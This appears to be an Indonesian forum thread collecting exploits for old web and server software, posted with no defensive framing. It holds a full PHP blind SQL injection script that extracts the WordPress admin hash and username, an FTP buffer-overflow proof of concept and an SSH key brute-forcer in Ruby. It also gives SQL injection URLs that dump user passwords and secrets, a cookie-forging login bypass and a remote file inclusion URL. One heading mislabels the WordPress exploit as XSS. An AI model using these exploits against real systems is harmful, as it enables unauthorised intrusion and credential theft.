Kumpulan Bugs

[Digital Cat]

[UNIX] WordPress Persistent XSS (templates.php)

Code: Select all

<?php
print_r('
---------------------------------------------------------------------------
Wordpress <= 2.0.6 wp-trackback.php 
/ sql injection admin hash exploit
(needs register_globals=on, 4 <= PHP < 4.4.3,< 5.1.4)
---------------------------------------------------------------------------
');

if ($argc<3) {
print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to wordpress
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
-t[prefix]: specify a table prefix (default: wp_)
Example:
php '.$argv[0].' localhost /wordpress/ -P1.1.1.1:80
php '.$argv[0].' localhost / -p81
---------------------------------------------------------------------------
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b) ';

function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$h tml))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
$prefix="wp_";

for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-t")
{
$prefix=str_replace("-t","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters

function my_encode($my_string)
{
$encoded="CHAR(";
for ($k=0; $k<=strlen($my_string)-1; $k++)
{
$encoded.=ord($my_string[$k]);
if ($k==strlen($my_string)-1) {$encoded.=")";}
else {$encoded.=",";}
}
return $encoded;
}

echo "\npwd hash -> ";
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql="999999/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(user_pass,".$j.",1))=".$i."), ".my_encode("open").",".my_encode("sun-tzu")."))/**/FROM/**/".$prefix."users/**/WHERE/**/ID=1/*";
$data ="-----------------------------7d61bcd1f033e\r\n";
$data.="Content: form-data; name=\"title\";\r\n\r\n";
$data.="1\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n";
$data.="Content: form-data; name=\"url\";\r\n\r\n";
$data.="1\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n";
$data.="Content: form-data; name=\"blog_name\";\r\n\r\n";
$data.="1\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n";
$data.="Content: form-data; name=\"tb_id\";\r\n\r\n";
$data.="$sql\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n";
$data.="Content: form-data; name=\"1740009377\";\r\n\r\n";
$data.="1\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n";
$data.="Content: form-data; name=\"496546471\";\r\n\r\n";
$data.="1\r\n";
$data.="-----------------------------7d61bcd1f033e--\r\n";
$packet ="POST ".$p."wp-trackback.php?tb_id=1 HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (!eregi("trackback are closed",$html)) {$password.=chr($i);echo chr($i);sleep(1);break;}
}
if ($i==255) {
die("\nExploit failed...");
}
}
$j++;
}
echo "\n";

echo "admin user -> ";
$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql="999999/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(user_login,".$j.",1))=".$i.") ,".my_encode("open").",".my_encode("sun-tzu")."))/**/FROM/**/".$prefix."users/**/WHERE/**/ID=1/*";
$data ="-----------------------------7d61bcd1f033e\r\n";
$data.="Content: form-data; name=\"title\";\r\n\r\n";
$data.="1\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n";
$data.="Content: form-data; name=\"url\";\r\n\r\n";
$data.="1\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n";
$data.="Content: form-data; name=\"blog_name\";\r\n\r\n";
$data.="1\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n";
$data.="Content: form-data; name=\"tb_id\";\r\n\r\n";
$data.="$sql\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n";
$data.="Content: form-data; name=\"1740009377\";\r\n\r\n";
$data.="1\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n";
$data.="Content: form-data; name=\"496546471\";\r\n\r\n";
$data.="1\r\n";
$data.="-----------------------------7d61bcd1f033e--\r\n";
$packet ="POST ".$p."wp-trackback.php?tb_id=1 HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (!eregi("trackbacks are closed",$html)) {$admin.=chr($i);echo chr($i);sleep(1);break;}
if ($i==255) {
die("\nExploit failed...");
}
}
$j++;
}
echo "\n";

function is_hash($hash)
{
if (ereg("([a-f0-9]{32})",trim($hash))) {return true;}
else {return false;}
}

if (is_hash($password)) {
echo "exploit succeeded...";
}
else {
echo "exploit failed...";
}

?>

Pembuat Program :

Email : [email protected]

Terima Kasih...

[Digital Cat]

Overflow Sistem vxFTP : vxFtpSrv 2.0.3 - Overflow PoC

Code: Select all

#!/usr/bin/perl
use Net::FTP;
$wftpsrvaddr = "255.255.255.255";
$overflow = "A" x 330;
$user = "anonymous";
$pass = "test @something.com";
$port = 21;

$ftp = Net::FTP->new("$wftpsrvaddr", Debug => 0) || die "tidak terhung dengan ftp server $ @";
$ftp->login($user,$pass) || die "Tidak terbuhung ", $ftp->message;

$ftp->cwd($overflow);
$ftp->quit; 

Terima Kasih….

[Digital Cat]

SSH exploit :

Code: Select all

#!/usr/bin/ruby
require 'thread'

THREADCOUNT = 10
KEYSPERCONNECT = 3

queue = Queue.new
threads = []
keyfiles = []

host = ARGV.shift or raise "no host given!"
user = ARGV.shift or raise "no user given!"
keysdir = ARGV.shift or raise "no key dir given!"

Dir.new(keysdir).each do |f|
  if f =~ /\d+$/ then
    keyfiles << f
    queue << f
  end
end

totalkeys = queue.length
currentkey = 1

THREADCOUNT.times do |i|
  threads << Thread.new(i) do |j|
    while !queue.empty?
      keys = []
      KEYSPERCONNECT.times { keys << queue.pop unless queue.empty? }
      keys.map! { |f| f = File.join(keysdir, f) }
      keys.each do |k|
        puts "testing key #/# #..."
        currentkey += 1
      end
      system "ssh -l # -o PasswordAuthentication=no -i #{keys.join(" -i ")} # \"exit\" &>/dev/null"
      if $? == 0 then
        keys.each do |k|
          system "ssh -l # -o PasswordAuthentication=no -i # # \"exit\" &>/dev/null"
          if $? == 0 then
            puts "KEYFILE FOUND: \n#"
            exit
          end
        end
      end
    end
  end
end

trap("SIGINT") do
  threads.each { |t| t.exit() } 
  exit
end

Pembuat Program : [email protected]

Terima Kasih….

[Digital Cat]

Bugs : show_vote.php id

Code: Select all

~user
http://www.site.com/dir/show_vote.php?id=-1+union+select+user_id,fname,3,4+from+users

~passwd
http://www.site.com/dir/show_vote.php?id=-1+union+select+1,hashed_pw,3,4+from+users

Terima Kasih….

[Digital Cat]

Bugs : MyFWB 1.0 Remote SQL Injection

Code: Select all

Username:
http://host/MyFWB/?page=-0x90+union+select+0,0,username,0+from+user

Password:
http://host/MyFWB/?page=-0x90+union+select+0,0,password,0+from+user

Email:
http://host/MyFWB/?page=-0x90+union+select+0,0,useremail,0+from+user

Passowrd Rahasia:
http://host/MyFWB/?page=-0x90+union+select+0,0,secret,0+from+user

Terima Kasih….

[Digital Cat]

Bugs : MyFWB 1.0 Remote SQL Injection

Code: Select all

Username:
http://host/MyFWB/?page=-0x90+union+select+0,0,username,0+from+user

Password:
http://host/MyFWB/?page=-0x90+union+select+0,0,password,0+from+user

Email:
http://host/MyFWB/?page=-0x90+union+select+0,0,useremail,0+from+user

Passowrd Rahasia:
http://host/MyFWB/?page=-0x90+union+select+0,0,secret,0+from+user

Terima Kasih….

[Digital Cat]

Explay CMS <= 2.1Cookie Vulnerability

Exploit:

Code: Select all

javascript:document.cookie = "login=1; path=/"; document.cookie = "pass=1; path=/";

Terima Kasih….

[Digital Cat]

PHP-Crawler v0.8 : Remote File Vulnerability

Code: Select all

http://[target]/[path]/footer.php?footer_file=[SHELL]

Vendor : http://sourceforge.net/projects/php-crawler/

Terima Kasih….

[Digital Cat]

Gonafish LinksCaffePRO 4.5 (index.php) SQL Injection Vulnerability

Code: Select all

http://localhost/path/index.php?action=linktdkjalan&idd=-1+union+select+1,2,version(),4,concat(user(),0x3a,database()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

SQL Injection pada "index.php" di parameter "idd"

NB :
PHP 4 menggunakan Script Admin

Terima Kasih….

[Digital Cat]

Bugs : http://www.phpvid.com/groups.php

Kode :

Code: Select all

groups.php?type=&&cat=4+and+substring(%20@%20@version,1,1)=4

Terima Kasih….